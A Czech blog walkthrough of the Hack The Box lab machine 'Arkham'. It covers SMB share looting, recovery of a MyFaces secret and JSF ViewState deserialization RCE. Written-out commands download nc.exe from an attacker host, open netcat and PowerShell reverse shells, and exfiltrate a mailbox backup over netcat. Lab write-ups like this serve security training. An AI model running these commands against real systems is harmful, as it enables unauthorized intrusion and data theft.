tom@home.htb:~$

Blog o HTB

30 October 2020

Arkham

Úvod a kontext

Arkham je ukázka řetězce, kde se webová chyba opírá o uniklou aplikační zálohu. Samotný Tomcat na :8080 ještě není celý příběh; rozhodující je až appserver.zip, z něj vytažený backup.img a secret org.apache.myfaces.SECRET, který dovolí zneužít JSF ViewState pro RCE.

Na user části je zajímavé, že po prvním shellu následuje ještě druhá, čistě provozní fáze: čtení pošty alfred@arkham.local.ost, dekódování přílohy a přepnutí do účtu batman. Článek tak dobře ukazuje rozdíl mezi aplikační zranitelností a reuse citlivých dat v systému.

Počáteční průzkum

Vyhledání otevřených portů

Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.

IP=10.10.10.130;ports=$(nmap -Pn -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -Pn -p $ports -A -sC -sV -v $IP
PORT      STATE SERVICE       VERSION
80/tcp    open  http          Microsoft IIS httpd 10.0
445/tcp   open  microsoft-ds?
8080/tcp  open  http          Apache Tomcat 8.5.37

Kombinace SMB + Tomcat je hlavní směr útoku.

SMB share a získání aplikační zálohy

Přes anonymní/guest přístup na SMB share stáhnu archiv aplikace.

smbmap -H $IP -u username -p pass
BatShare   READ ONLY
Users      READ ONLY
appserver.zip
smbclient //10.10.10.130/BatShare
get appserver.zip
unzip appserver.zip

V datech je backup.img, který obsahuje zálohu konfigurace Tomcatu. Po extrakci najdu v web.xml.bak klíč org.apache.myfaces.SECRET.

RCE přes JSF ViewState

Aplikace na :8080 používá JSF ViewState (/userSubscribe.faces). Se znalostí myfaces secretu lze připravit vlastní payload a dosáhnout RCE.

wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
python rce.py "whoami"
python rce.py "curl http://10.10.14.21:8000/exe/nc.exe -o c:\programdata\nc.exe"
python rce.py "c:\programdata\nc.exe 10.10.14.21 4000 -e cmd.exe"

Po exploitu získám shell jako uživatel Alfred.

Analýza zjištění

Přílohy

Arkham evidence

Získání přístupu

Získání user flagu

User flag zde slouží hlavně jako potvrzení, že už mám běžný uživatelský kontext a mohu pokračovat v lokální analýze systému.

more user.txt
__CENSORED__

Exfiltrace pošty a získání dalších údajů

V systému je záloha mailboxu alfred@arkham.local.ost, ze které lze získat další citlivé informace.

nc -lp 4001 > backup.zip
c:\programdata\nc.exe -w 3 10.10.14.21 4001 < C:\Users\Alfred\Downloads\backups\backup.zip
unzip backup.zip
readpst alfred@arkham.local.ost

V přílohách je base64 obrázek, po dekódování obsahuje další přihlašovací údaj.

base64 -d image.png.b64 > image.png
__CENSORED__

Eskalace na vyšší účet

S novými údaji vytvořím credential objekt a spustím příkaz lokálně pod účtem batman.

powershell
$cred = New-Object System.Management.Automation.PSCredential 'batman',(ConvertTo-SecureString '__CENSORED__' -AsPlainText -Force)
Invoke-Command -Computer localhost -Credential $cred -ScriptBlock {c:\programdata\nc.exe -e powershell 10.10.14.21 4001}

Po přepnutí účtu mám přístup ke sdílenému disku C$.

Eskalace oprávnění

Získání root flagu

Tento krok ukazuje, jak se nalezená slabina nebo chyba v delegaci oprávnění mění v privilegovaný přístup.

net use z: \\arkham\c$
gc root.txt
__CENSORED__

Shrnutí klíčových poznatků

Co si odnést do praxe

tags: windows - smb - java - deserialization - winrm